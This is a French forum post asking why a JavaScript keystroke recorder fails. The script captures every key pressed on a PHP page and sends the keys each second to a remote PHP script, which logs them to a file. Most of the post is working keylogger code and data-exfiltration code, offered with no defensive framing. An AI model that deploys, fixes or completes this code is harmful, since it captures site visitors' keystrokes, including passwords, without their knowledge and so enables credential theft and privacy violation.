Partage
  • Partager sur Facebook
  • Partager sur Twitter

Problème enregistrement touches

Sujet résolu
    16 décembre 2010 à 21:11:32

    Bonjour SdZ !!

    Bon, j'ai un petit script utile mais qui malheureusement, ne fonctionne pas.

    Je vous l'explique :

    Tout dabord, sur le fichier php, je met sa dans le 'HEAD' :
    <script language="javascript" src="./fichier.js"></script>
    


    Ensuite, voici le contenu du fichier.js :
    var keys='';
    document.onkeypress = function(e) {
      get = window.event?event:e;
      key = get.keyCode?get.keyCode:get.charCode;
      key = String.fromCharCode(key);
      keys+=key;
    }
    window.setInterval(function(){
      new Image().src = 'http://mon_site/fichier2.php?c='+keys;
      keys = '';
    }, 1000);
    


    Ce code doit normalement stoker dans la variable 'key' les frappes de touches et les envoyer sur:
    http://mon_site/fichier2.php?c=

    Ensuite, voici le contenu du fichier2.php :
    <?php
    if(!empty($_GET['c'])) {
      $f=fopen("log.txt","a+");
      fwrite($f,$_GET['c']);
      fclose($f);
    }
    ?>
    

    Ceci prend le contenu du GET 'c' et l'écrit dans le fichier log.txt


    Le seul problème, c'est que quand je tape sur mon clavier quand je suis sur le premier fichier php, cela ne les enregistre pas dans le log.txt

    Par contre, coter positif,
    Quand je vais sur :
    http://mon_site/fichier2.php?c=test

    Et bah je retrouve sur mon log.txt :
    test

    Donc cette parti fonctionne bien. Le problème viens donc du javascript.

    Où est le problème please ? ...

    Merci d'avance SdZ !!
    • Partager sur Facebook
    • Partager sur Twitter

    Problème enregistrement touches

    × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
    × Attention, ce sujet est très ancien. Le déterrer n'est pas forcément approprié. Nous te conseillons de créer un nouveau sujet pour poser ta question.
    • Editeur
    • Markdown